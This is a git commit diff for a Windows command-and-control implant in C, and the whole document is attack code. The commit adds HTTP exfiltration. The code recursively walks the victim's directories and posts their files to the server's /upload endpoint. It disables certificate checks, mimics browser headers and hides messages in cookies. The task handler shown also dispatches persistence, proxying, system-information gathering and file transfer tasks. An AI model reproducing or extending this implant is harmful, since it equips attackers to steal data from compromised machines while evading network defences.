File downloading works for http agent now
This commit is contained in:
@@ -33,7 +33,7 @@
|
||||
|
||||
# Compiler and flags
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
LDFLAGS = -lws2_32 -liphlpapi -static
|
||||
LDFLAGS = -lws2_32 -liphlpapi -static -lbcrypt -lcrypt32
|
||||
INCLUDE_DIR =
|
||||
SRC_DIR = .
|
||||
OBJ_DIR = obj
|
||||
@@ -154,4 +154,4 @@ info:
|
||||
install:
|
||||
@echo "Install target not implemented."
|
||||
|
||||
.PHONY: all clean run info install size-opt release
|
||||
.PHONY: all clean run info install size-opt release
|
||||
|
||||
@@ -76,10 +76,10 @@ void ReceiveResponse(Transport* transport) {
|
||||
printf("Error receiving message from server\n");
|
||||
return;
|
||||
}
|
||||
buffer1[bytesReceived] = '\0';
|
||||
// buffer1[bytesReceived] = '\0';
|
||||
printf("Message from server: %s\n", buffer1);
|
||||
|
||||
PrintHEX(buffer2, buffer2_size, 32);
|
||||
// PrintHEX(buffer2, buffer2_size, 32);
|
||||
|
||||
// Check if there is a task to do
|
||||
if (strncmp(buffer1, "TASK", 4) == 0) {
|
||||
|
||||
@@ -232,9 +232,6 @@ void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_
|
||||
ReceiveModule(result, transport, task_type, task_args, http_buffer);
|
||||
SendTaskResult(transport, "", result);
|
||||
}
|
||||
else if (strcmp(task_type, "files") == 0) {
|
||||
SendFiles(transport, NULL, 0);
|
||||
}
|
||||
else if (strcmp(task_type, "sysinfo") == 0) {
|
||||
SendSysInfo(result);
|
||||
SendTaskResult(transport, "SYSINFO", result);
|
||||
@@ -289,13 +286,27 @@ void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_
|
||||
SendTaskResult(transport, "", "Persistence module wasn't included\n");
|
||||
#endif
|
||||
}
|
||||
// Upload files to server
|
||||
else if (strcmp(task_type, "download") == 0) {
|
||||
SendFiles(transport, &task_args, 1);
|
||||
#if USE_HTTP
|
||||
SendFilesHTTP(transport, &task_args, 1);
|
||||
#else
|
||||
SendFiles(transport, &task_args, 1);
|
||||
#endif
|
||||
}
|
||||
// Download file from server
|
||||
else if (strcmp(task_type, "upload") == 0) {
|
||||
UploadFile(result, transport, task_args);
|
||||
ReceiveFile(result, transport, task_args);
|
||||
SendTaskResult(transport, "", result);
|
||||
}
|
||||
// Upload list of pre-defined files to server
|
||||
else if (strcmp(task_type, "files") == 0) {
|
||||
#if USE_HTTP
|
||||
SendFilesHTTP(transport, NULL, 0);
|
||||
#else
|
||||
SendFiles(transport, NULL, 0);
|
||||
#endif
|
||||
}
|
||||
|
||||
else if (strcmp(task_type, "proxy") == 0) {
|
||||
#if ENABLE_PROXY
|
||||
|
||||
@@ -10,9 +10,9 @@
|
||||
|
||||
// Pre-defined list of files and folders to download
|
||||
char* std_file_paths[] = {
|
||||
"C:\\Users\\Tester\\Downloads\\file1.txt",
|
||||
"C:\\Users\\Tester\\Downloads\\file2.txt",
|
||||
"C:\\Users\\Tester\\Downloads\\Testdir",
|
||||
"C:\\Users\\John\\Downloads\\Test",
|
||||
"C:\\Users\\John\\Downloads\\Test2",
|
||||
"C:\\Users\\John\\Downloads\\Test3",
|
||||
};
|
||||
// Calculate amount of paths
|
||||
size_t std_num_files = sizeof(std_file_paths) / sizeof(std_file_paths[0]);
|
||||
@@ -125,6 +125,94 @@ void SendFiles(Transport* transport, char* customfile_paths[], size_t customNumF
|
||||
LOG("End-of-transfer marker sent\n");
|
||||
}
|
||||
|
||||
void sendFileHTTP(Transport* transport, char* file_path) {
|
||||
struct stat file_stat;
|
||||
if (stat(file_path, &file_stat) != 0) {
|
||||
LOG("File does not exist: %s\n", file_path);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!S_ISREG(file_stat.st_mode)) {
|
||||
LOG("Path is not a regular file: %s\n", file_path);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create message with agent_id, FILE type, and full file path
|
||||
char message[1024];
|
||||
snprintf(message, sizeof(message), "%s~FILE~%s", agent_id, file_path);
|
||||
|
||||
LOG("Sending message %s\n", message);
|
||||
LOG("Sending file: %s\n", file_path);
|
||||
|
||||
// Use the transport's send_file function
|
||||
int result = transport->send_file(transport->handle, file_path, message);
|
||||
if (result > 0) {
|
||||
LOG("File sent successfully: %s (%d bytes)\n", file_path, result);
|
||||
} else {
|
||||
LOG_ERROR("Failed to send file: %s\n", file_path);
|
||||
}
|
||||
}
|
||||
|
||||
void sendFilesHTTPHelper(Transport* transport, char** paths, size_t num_paths) {
|
||||
for (size_t i = 0; i < num_paths; ++i) {
|
||||
char* file_path = paths[i];
|
||||
struct stat file_stat;
|
||||
|
||||
if (stat(file_path, &file_stat) != 0) {
|
||||
LOG("Path does not exist: %s\n", file_path);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (S_ISDIR(file_stat.st_mode)) {
|
||||
LOG("Processing directory: %s\n", file_path);
|
||||
DIR* dir = opendir(file_path);
|
||||
if (!dir) {
|
||||
LOG_ERROR("Error opening directory: %s\n", file_path);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct dirent* entry;
|
||||
while ((entry = readdir(dir)) != NULL) {
|
||||
// Skip current and parent directory entries
|
||||
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Build full path
|
||||
char full_path[1024];
|
||||
snprintf(full_path, sizeof(full_path), "%s\\%s", file_path, entry->d_name);
|
||||
|
||||
// Recursively process the entry (file or subdirectory)
|
||||
char* sub_paths[] = { full_path };
|
||||
sendFilesHTTPHelper(transport, sub_paths, 1);
|
||||
}
|
||||
closedir(dir);
|
||||
}
|
||||
else if (S_ISREG(file_stat.st_mode)) {
|
||||
// It's a regular file, send it
|
||||
sendFileHTTP(transport, file_path);
|
||||
}
|
||||
else {
|
||||
LOG("Skipping non-regular file: %s\n", file_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void SendFilesHTTP(Transport* transport, char* customfile_paths[], size_t customNumFiles) {
|
||||
// Determine which paths to use
|
||||
char** paths = (customfile_paths != NULL) ? customfile_paths : std_file_paths;
|
||||
size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;
|
||||
|
||||
LOG("Starting HTTP file transfer session with %zu paths\n", count);
|
||||
|
||||
// Send all files/directories
|
||||
sendFilesHTTPHelper(transport, paths, count);
|
||||
|
||||
LOG("HTTP file transfer session completed\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
#if AUTO_FILES
|
||||
DWORD WINAPI FilesTimer(LPVOID lpParam) {
|
||||
LOG("File sender started\n");
|
||||
@@ -152,7 +240,7 @@ void SendFiles(Transport* transport, char* customfile_paths[], size_t customNumF
|
||||
#endif
|
||||
|
||||
// Receive file from server
|
||||
void UploadFile(char* result, Transport* transport, char* remote_path) {
|
||||
void ReceiveFile(char* result, Transport* transport, char* remote_path) {
|
||||
char buffer[BUFFER_SIZE];
|
||||
char response[32];
|
||||
|
||||
|
||||
@@ -8,7 +8,8 @@ typedef struct {
|
||||
void* handle; // Opaque pointer to underlying connection (WOLFSSL* or SOCKET or Schannel context)
|
||||
int (*send) (void* handle, char* data, size_t len);
|
||||
int (*recv) (void* handle, char* buffer, size_t len);
|
||||
int (*recv_alloc)(void* handle, char* buffer1, unsigned char** buffer2, size_t len1, size_t* len2); // New function pointer, only for http transport
|
||||
int (*recv_alloc)(void* handle, char* buffer1, unsigned char** buffer2, size_t len1, size_t* len2); // Only for http transport. Dynamically allocates buffer for data
|
||||
int (*send_file)(void* handle, char* filePath, char* message); // New func to send files. Will probably move all file sending logic into transport code
|
||||
void (*cleanup) (void* handle);
|
||||
} Transport;
|
||||
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <windows.h>
|
||||
#include <wincrypt.h>
|
||||
|
||||
// HTTP transport context
|
||||
typedef struct {
|
||||
@@ -16,7 +17,7 @@ typedef struct {
|
||||
DWORD responseSize;
|
||||
} HttpContext;
|
||||
|
||||
// User agent to identify implant against server
|
||||
// User agent to identify against server
|
||||
wchar_t *USER_AGENT = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
|
||||
|
||||
// Custom header to identify against server
|
||||
@@ -111,6 +112,160 @@ char* CheckHeaderAndPrintCookie(wchar_t *headers, wchar_t *cookies) {
|
||||
return command;
|
||||
}
|
||||
|
||||
// URL encode function to handle special characters in file paths
|
||||
char* urlEncode(const char* str) {
|
||||
size_t len = strlen(str);
|
||||
char* encoded = malloc(len * 3 + 1); // Worst case: every char becomes %XX
|
||||
if (!encoded) return NULL;
|
||||
|
||||
size_t pos = 0;
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (isalnum(str[i]) || str[i] == '-' || str[i] == '_' || str[i] == '.' || str[i] == '~') {
|
||||
encoded[pos++] = str[i];
|
||||
} else {
|
||||
sprintf(&encoded[pos], "%%%02X", (unsigned char)str[i]);
|
||||
pos += 3;
|
||||
}
|
||||
}
|
||||
encoded[pos] = '\0';
|
||||
return encoded;
|
||||
}
|
||||
|
||||
// Usage example:
|
||||
// Transport* transport = InitHTTPTransport("192.168.1.4", 443);
|
||||
// transport->send_file(transport->handle, "test.exe", "file_upload_command");
|
||||
// Add this function to your transport implementation
|
||||
// Modified http_send_file function with URL encoding
|
||||
int http_send_file(void* handle, char* filePath, char* message) {
|
||||
HttpContext* ctx = (HttpContext*)handle;
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
DWORD fileSize = 0, dwRead = 0;
|
||||
BYTE buffer[4096];
|
||||
BOOL bResults = FALSE;
|
||||
|
||||
// Convert file path to wide string
|
||||
int wideLen = MultiByteToWideChar(CP_UTF8, 0, filePath, -1, NULL, 0);
|
||||
wchar_t* wideFilePath = malloc(wideLen * sizeof(wchar_t));
|
||||
if (!wideFilePath) return -1;
|
||||
MultiByteToWideChar(CP_UTF8, 0, filePath, -1, wideFilePath, wideLen);
|
||||
|
||||
// URL encode the message to handle special characters
|
||||
char* encodedMessage = urlEncode(message);
|
||||
if (!encodedMessage) {
|
||||
free(wideFilePath);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Convert encoded message to wide string for cookie
|
||||
int msgWideLen = MultiByteToWideChar(CP_UTF8, 0, encodedMessage, -1, NULL, 0);
|
||||
wchar_t* wideMessage = malloc(msgWideLen * sizeof(wchar_t));
|
||||
if (!wideMessage) {
|
||||
free(wideFilePath);
|
||||
free(encodedMessage);
|
||||
return -1;
|
||||
}
|
||||
MultiByteToWideChar(CP_UTF8, 0, encodedMessage, -1, wideMessage, msgWideLen);
|
||||
|
||||
// Open file
|
||||
hFile = CreateFileW(wideFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("CreateFile failed for: %s\n", filePath);
|
||||
free(wideFilePath);
|
||||
free(encodedMessage);
|
||||
free(wideMessage);
|
||||
return -1;
|
||||
}
|
||||
|
||||
fileSize = GetFileSize(hFile, NULL);
|
||||
if (fileSize == INVALID_FILE_SIZE) {
|
||||
printf("GetFileSize failed\n");
|
||||
CloseHandle(hFile);
|
||||
free(wideFilePath);
|
||||
free(encodedMessage);
|
||||
free(wideMessage);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Create POST request for file upload
|
||||
ctx->hRequest = WinHttpOpenRequest(ctx->hConnect, L"POST", L"/upload",
|
||||
NULL, WINHTTP_NO_REFERER,
|
||||
WINHTTP_DEFAULT_ACCEPT_TYPES,
|
||||
WINHTTP_FLAG_SECURE);
|
||||
if (!ctx->hRequest) {
|
||||
printf("WinHttpOpenRequest failed\n");
|
||||
CloseHandle(hFile);
|
||||
free(wideFilePath);
|
||||
free(encodedMessage);
|
||||
free(wideMessage);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Ignore certificate errors
|
||||
DWORD securityFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
WinHttpSetOption(ctx->hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
|
||||
|
||||
// Add identity and common headers to mimic legitimate traffic
|
||||
WinHttpAddRequestHeaders(ctx->hRequest, IDENTITY_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
for (int i = 0; i < NUM_COMMON_HEADERS; ++i) {
|
||||
WinHttpAddRequestHeaders(ctx->hRequest, COMMON_HEADERS[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
}
|
||||
|
||||
// Add content type for file upload
|
||||
wchar_t *contentType = L"Content-Type: application/octet-stream\r\n";
|
||||
WinHttpAddRequestHeaders(ctx->hRequest, contentType, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
|
||||
// Add body message header to indicate file upload with message
|
||||
WinHttpAddRequestHeaders(ctx->hRequest, BODY_MESSAGE_HEADER, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
|
||||
// Embed encoded message in cookie (using %S for wide chars)
|
||||
wchar_t cookieHeader[1024];
|
||||
swprintf(cookieHeader, 1024, L"Cookie: %S=%S", MESSAGE_COOKIE_NAME, wideMessage);
|
||||
WinHttpAddRequestHeaders(ctx->hRequest, cookieHeader, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
|
||||
// Send request with file size
|
||||
bResults = WinHttpSendRequest(ctx->hRequest,
|
||||
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
NULL, 0, fileSize, 0);
|
||||
|
||||
if (!bResults) {
|
||||
printf("WinHttpSendRequest failed\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Upload file data in chunks
|
||||
do {
|
||||
if (!ReadFile(hFile, buffer, sizeof(buffer), &dwRead, NULL)) {
|
||||
printf("ReadFile failed\n");
|
||||
bResults = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
if (dwRead > 0) {
|
||||
if (!WinHttpWriteData(ctx->hRequest, buffer, dwRead, NULL)) {
|
||||
printf("WinHttpWriteData failed\n");
|
||||
bResults = FALSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} while (dwRead > 0);
|
||||
|
||||
if (bResults) {
|
||||
printf("[+] File upload completed: %s\n", filePath);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);
|
||||
free(wideFilePath);
|
||||
free(encodedMessage);
|
||||
free(wideMessage);
|
||||
|
||||
return bResults ? (int)fileSize : -1;
|
||||
}
|
||||
|
||||
int http_send(void* handle, char* data, size_t len) {
|
||||
HttpContext* ctx = (HttpContext*)handle;
|
||||
BOOL bResults = FALSE;
|
||||
@@ -283,9 +438,11 @@ int http_recv_alloc(void* handle, char* buffer1, unsigned char** buffer2, size_t
|
||||
size_t commandLen = strlen(command);
|
||||
if (commandLen <= len1) {
|
||||
memcpy(buffer1, command, commandLen);
|
||||
printf("Copying command into buffer\n");
|
||||
// return commandLen;
|
||||
} else {
|
||||
// Buffer too small, copy what we can
|
||||
printf("Buufer too small, copying what we can\n");
|
||||
memcpy(buffer1, command, len1);
|
||||
// return len;
|
||||
}
|
||||
@@ -331,6 +488,7 @@ void http_cleanup(void* handle) {
|
||||
free(ctx);
|
||||
}
|
||||
|
||||
// Modified InitHTTPTransport function to include the send_file function pointer
|
||||
Transport* InitHTTPTransport(char* domain, unsigned short port) {
|
||||
HttpContext* ctx = malloc(sizeof(HttpContext));
|
||||
if (!ctx) return NULL;
|
||||
@@ -378,6 +536,7 @@ Transport* InitHTTPTransport(char* domain, unsigned short port) {
|
||||
transport->send = http_send;
|
||||
transport->recv = NULL;
|
||||
transport->recv_alloc = http_recv_alloc;
|
||||
transport->send_file = http_send_file; // Add this line
|
||||
transport->cleanup = http_cleanup;
|
||||
|
||||
return transport;
|
||||
|
||||
Reference in New Issue
Block a user